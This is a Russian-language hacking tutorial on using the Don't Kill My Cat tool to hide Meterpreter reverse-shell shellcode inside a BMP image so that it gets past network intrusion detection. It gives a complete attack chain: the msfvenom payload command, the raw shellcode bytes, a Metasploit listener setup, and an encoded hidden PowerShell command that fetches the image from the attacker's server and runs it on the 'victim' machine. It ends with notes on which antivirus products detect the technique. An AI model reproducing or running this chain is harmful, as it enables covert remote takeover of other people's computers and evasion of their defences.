Don't Kill My Cat (DKMC) - шел-код в картинке
Всем привет, сегодня расскажу как внедрить в картинку в формате bmp шелл-код для meterpreter. Для этой цели будем использовать утилиту под названием Don't Kill My Cat (DKMC).
Краткий алгоритм:
1. Создается полезная нагрузка с meterpreter в формате RAW
2. С помощью DKMS полезная нагрузка конвертируется в специальный шелл-код, который внедряется в картинку.
4. Если пользователь скачает картинку с внедрённым шелл-кодом и откроет ее графическим редактором, то атака в этом случае не сработает, картинка откроется в стандартном режиме.
5. Для получения удаленного доступа через инфицированную картинку необходимо обратиться к внедрённому шелл-коду с помощью Powershell.
6. Для автоматизации процесса DKMS создает веб-сервер и генерирует команду Powershell, которая автоматически загрузит картинку на машину жертвы и запустит meterpreter.
Возникает вопрос, а для чего нужны такие сложности, неужели нельзя просто создать вирусный exe с обходом антивируса с помощью того же Veil Evanasion?
Дело в том, что в серьезных компаниях используются системы обнаружения и предотвращения вторжений, которые анализируют все передаваемые по сети файлы на предмет хакерских угроз. Эти системы по большей части анализируют только исполняемые файлы, документы word, динамические библиотеки, приложения Java и... мало какая система изучает файлы изображений! Поэтому этот способ позволяет незаметно от IDS/IPS донести вирусную нагрузку на машину жертвы.
Но у данный метод позволяет обходит антивирусные системы только частично. Но об этом в конце статьи.
Для тестирования нам потребуется 2 виртуальных машины:
- Kali Linux
- Машина с версией Windows не ниже 7
У меня машина с Kali имеет IP 192.168.232.131/24, вторая виртуалка на Windows 7 находится в той же подсети.
Создаем нагрузку в формате RAW с помощью msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LPORT=4455 LHOST=192.168.232.131 -f raw -o /root/Desktop/virfile
Скачиваем любую картинку в формате bmp и сохраняем на рабочем столе.
Устанавливаем и запускаем Don't Kill My Cat:
git clone https://github.com/Mr-Un1k0d3r/DKMC.git
cd DKMS
mkdir output
сhmod +x dkmc.py
python dkmc.py
Далее, нам необходимо сформировать специальный шелл-код, выбираем опцию sc.
Далее, нам необходимо указать путь к полезной нагрузке в формате RAW и сгенерировать шелл-код:
set source /root/Desktop/virfile
run
Копируем полученный код в блокнот, он нам потребуется в следующем разделе, выходим в главное меню с помощью команды exit.
Далее, нам необходимо внедрить шелл-код в загруженную картинку, выбираем раздел gen.
Устанавливаем значение переменной shellcode:
set shellcode \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\xe8\x83\x68\x02\x00\x11\x67\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5
Задаем значение переменной с путём к загруженной картинке в формате bmp:
set source /root/Desktop/test.bmp
Задаём путь для выходного файла:
set output output/virus.bmp
Запускаем генерацию вирусной картинки:
run
Теперь нам необходимо создать команду для Powershell, которую необходимо выполнить на машине жертвы. Возвращаемся в главное меню и заходим в раздел ps.
Задаем ссылку, по которой будет доступна наша картинка с шелл-кодом. В качестве IP необходимо указать адрес машины с kali:
set url http://192.168.232.131:8080/virus.bmp
run
Сохраняем команду для Powershell в блокноте.
Далее, нам необходимо запустить веб-сервер, с которого жертва будет скачивать вирусную картинку. Возвращаемся в главное меню и заходим в раздел web.
Устанавливаем порт и запускаем веб-сервер:
set port 8080
run
После этого нам необходимо запустить листенер в Metasploit.
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 4455
set LHOST 192.168.232.131
run
Теперь на второй виртуальной машине запускаем Powershell и вставляем ранее сохраненную команду из раздела ps.
В моем примере это команда:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAE8AagByAHUAbABrAEMALwB6AEUAMQBNAEQAVQAwAE0AagBJAHoATQBUAEkAdQBOAEQAZwAhAHYAVgBaAHQAYgArAEkANABFAFAANQBlAHEAZgAvAEIAVwBpAEUAbABrAFUASwBXAHQAcQB0AFQAcgA5AEoASwBHAHkAagB0ADAAaQAyADAASgBYADEAbgAwAGMAbwBrAEUAMwBEAFgAcwBWAFAASABnAGIASQB2AC8ALwAzAEcASQBWAG0AbwBhAFAAYwA0ADMAZQBuAHkASgBZAGsAOQBNAHgANAAvADgAOAB4AGoAQgA2AEQAcgBnAFYAWQBzADEARgAwAFoAIQBhAGwAZgBnADgAcQBZAEYARwBSADMAZQAyAHQANwBxAHkAYQBPAFIAcgBQAHIAeAA4AG4AbwBVADkASwA4AEoAZQAvAEoAQgAyAHQANwBLADgANQBGAHEASQAxAEYAVQB3AGMAeQBPAHYATwBiADAAWABIAHYAdgBpAHUAdQBFAHQASABSAC8AWABhAG8AeQBQAGYAdABMAFYASQArADUAMQBUAFIAaABOAGkAMQBLAFYAVgBmAEUAaABuAGwASABGAHgAUwAvAEsAUgBLAGgAaABEAGwAQwBwAHkAbABjAFUAMwBOADIATAB6ADEAbABFAC8AcAAwADgATwBzAGQAZABQAE0ANwAyAFoAVQBYADMAWQBqAFgATgBjAGUAKwBHAGwANgBLAEIAUABLAHgAUABEAGcAbwBKAFUAcgBCAFUASQB2AC8AcgAxAGoAMABIADYAVwBRAFQATABpAEQARABMAGIASQBUAC8ASQB6AFEAUQBVADEATQA5AEcARAB4AEIAcQA4AHAAMwBVAHYAbgBqAEgAWABJADQAbwBMADgAMwBtAEwAUgBwAE8AYwBLAGUAKwBpAE0AegBjAHEAUQB5AHAAMgBZADgAWABwAEoAeABwADIALwByADgAMgBYAEkARwA5AFoAMgBoADEAMwA3AE0ASwBjADkAcwBLADUAaABuAEcAaABJAHYANAB0AHgAeQB5AEUALwBIAEwASABnADUAVAA4AEcAMgB1AGkAeABVAE0AcABPAHgAOQBtADYAWQAyAE4AdgAxAHIAawBSAEcAWQArAGgAaAB0AEMAbAAwAFEAVQA5AGsAbABGAG0ATwBnAGIASABhAG8AUQBLAGQASwAvAEgAcQBSAGsAMwBrAGgAWgA5AHQANABlAGMANQBZAHUAUgBIAGsAWQBJAE0AdwAzAGcAZABNAFoAVgBmAHcAYQA2AEoAbgBIAE8AWABmAEwAIQBIAFoAVgByADkAWABHAGkAVwAhAE0ANQByAFUARABJAE4AUQBFADEAWgBDAEoAbgAzAGsAWQBxAEkAUQB4AC8AaQBvAGQAMgBEAFcAWQBYAEcAcABrADcAMgBxAGgATgBhAG4AVwB2AGwAdQBGAGoASQB6AFQATAB2AEYAcQBWAGUAQgBMAE8AYwA5AGQAeABYACsATwBEAGcAcwA4AFkASgBCAE8AMgBuAHcAZQAwAFgAMQBVADcAdgA3AC8ATwB6AGIAdwArAFgARgA4AEcAbgBGACsAaQAxAEgASwBpAGUAUQBUAEUARAB1AEQAbgA3AFgARwBhAHMAaQBQAEcAZQBOAEYAegBTAHgAWgB5AG8AbABtAHEATwB2ADcAVgBMAGwAWQBNAHoASgAhAE4AVAB6AGMARgB3AFMARwBwADMALwBuADEANgAyAHIAdQA5ADYAcgB1AGIAaAB0AHkAcAAvAE4ARgBiAE4AUABQADQAeQBnACsAdgA3AHYAaABGAGcARgBPAEQAYQA4AG0AaQA0AFQATABRAE0AeQBiAFUASgBxADEAVwBCAHkANgBNADIAZQB2AE0AUABvAFMAWQBDAFQAaQBjAEMANQBxAHcAcwBDAEsAdgAvAFYASQA1AEkAZQBaAFEASQBPAFYAVgBaAGoAMwBNADEAYgBiAEsAQwBZAGcATwBnAGMATwBZAGEAbABNAE4AbAB3AHoAVwAzAGQAbwBKADAANwA5ADgAbQB6AG4AagBFAFMAZwAvAFIARQBwAGsAbQBCAFcAeQB4AFgAbQBlAHoASwBMACEAdAB0AFUAUgBYAFUAZwBRAHoAYwBXAC8AaABZAFcATQBzAFcAVwBnAHMAaQA3AGIAWgBGADYAdABiAHYANwBSAHkARwBwAHgAbQBtAFUAdQBPAGMAKwB4AFoAMABPAFgAQgBFACEANQBSAEMANwB4AFIAYwBiAEsASwBUAC8AWABzAHYAaQAwAGwAdQBsADIAYwA2ADUAWgBTAEQATgBkAGgAUgBzADYAYQA0AEMAVwBDADcAZQBrAHkATABUAEsAUQA2AHcAMABnAG4AIQBaAHAAQgAhAHkAeQBnADAAbQBMAHYAbgBJAEkAbQBqAE8AIQB6AGEAdQBFAHIAQgBlAFIASwBSAEYATwBXAGQAaQBqAEoARwBtAFcAQgBFAGMATQBVAGcARQAyAHYAQgBIAFkAYQA1AEwAcgBqAGgAZQAhAEwAcQBUAHAAQgB3AFMATgBDAHkAawA1AEkAagBUAE0AUQBwAEgAMgBXAFUARgA2ACsAZwBZAEkAdQB2AFYAZgBLAHYAZQBXAFQAUwBLAGcAYQBqAEMAWgBpAFYAYgByAEgAdgAhAHAAWABiAEoATgBWAE0AYQBwAGMAbgAhAHYAYwBxADUAZgA1ADkAVQBwAFUAOQBsAGIAaQAwAEYAWgBkAEgAcwBxAGkATQBIAHoAYgBrADIAdgBWAEkAVABaADEASAAzAHQAdABtAFoAeAA1ADIAYgAvAHAAMQBSADYASABWAFcAOQBnAEMARgBFAFUAWQB0ADEARwBXAGgAawBSAEoAeQBKAHIAaQBrADAAUwBIAFYAMQBIADQAegAwAFQAbwA5AGUAUAB0ADIANQA4ADkAZABiACsAZQBQAGYAVwA4AFgANQBYAE4AbgBiACsAZABnAHYANwBIAGYAZQBEAHQAbABLAHMAKwA4AFUAWgBLACsASwBYAHEAbQBsAHMAUwB6AHMAOABuAEoAdwA0AGoAbQA3AGUAWgBKADMAZwB1AFQAUgA5AE0AMwBmAHkATgBsAFgAYQBxAHkAQwBlAFYAWQBOAEIAUwBrAGkAagBGAEgAVQBoADIAVgBtAG4ASQB1AG0AZgBHAHcANwBkAGUATwBzAGEAKwBnAEIASABEAE0AQwA0AFcALwBnAHQAegBuAFgASQBaAEcAQwBGAGMARgBDAGIAVgA0AG8AWgBCAEQASgBOAEkAVgBmAHUANwB0AHYAdgBqAGwAawBGACsARwB6AGwASQBVAHEANgBHAEQAZwAzAHYATQAzADUAUgAwAEYAVgBuAHYARgBNAFIAWQBUADkAegBHADAAMQA2AGoAZwBmAHIAVgBlAEgAcgBYAFEARgAhADIAMwAzAHgATABwAG4AUAA3AGUAVQB6AFgAQwBPAEUATABvAEsANgB0AHoAWQB1ADEARgB6AFcAWQBIAFAAdABOADEAbQAvAC8ANwA4AEMAWABIAEoAegBnAEsAOQBvAFEAKwBPAFgAWQBiADIAWQAzAEsAawBiAEQAZgBRAG0AbQBOAGEAUABuACEALwArAG8AUABQADgARgBSAEQAZQBVAGEAWABRAE8AVQBLADAANABMAEYAcgB3AHQAMABpAFYAYgBGAHcANQBsADgAdgBpAEkAcwB2AGkAOABqAEgAWABxAEwATgBjADEAMwB0ADQAWQBtADkAdgBXAFIAOABNAEIAegBvAHgAVwBRAEUAbwBZADkALwB3AEQAZwBXAFAAWgBOADkAWgBQAFoASQB6AFQAWgBXAHUAUAA4AGcAUgBYAHIAeABTAGMAMgBMAGEATgBkAGIAdQBIAGwAOAAvADgAVABSAE8AMgBxAEYARABPAHUAMQBiADgAbQB5AEkALwBDAFIAMQBCAE0AcgBQADkAbgBiAHgAVABxAGIARwB1AFYARQBzADgAdgB6AG0AKwBZAFAATQBjAEoATgBGADIAQgArAGsARAB5AEgAZwBEAGEAdAArAEkAawBlAEYASwBnAEcAZQBPAEsAcwBwAEYAQwB1AHMAdQBxAFAAVgBYADEANwBmAFcAOQBqAG0AQwBnACEAIQAiAC4AUgBlAHAAbABhAGMAZQAoACIAIQAiACwAIAAiAEEAIgApACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==
Если операция прошла успешно, то веб-сервер покажет в логах факт загрузки картинки, а в Metasploit появится сессия meterpreter.
А теперь о том, как обстоят дела с антивирусом. Если просто загрузить картинку на машину жертвы, то Касперский Total Security в ней ничего не обнаружит. Проблема возникает при выполнении кода Powershell. Антивирус ругается на подозрительное действие команды и просто блокирует его выполнение. Если команду Powershell оформить в виде exe, как описано в статье "Powershell для хакера, часть 2", то Касперский обнаруживает угрозу Dangerous Pattern и удаляет файл. То есть до загрузки нашей картинки дело даже не доходит.
Avast Antivirus Free не видит никаких угроз, шелл-код отрабатывает успешно. С другими антивирусами тоже нужно тестить, кому интересно, тот займется.
А на этом все. Источник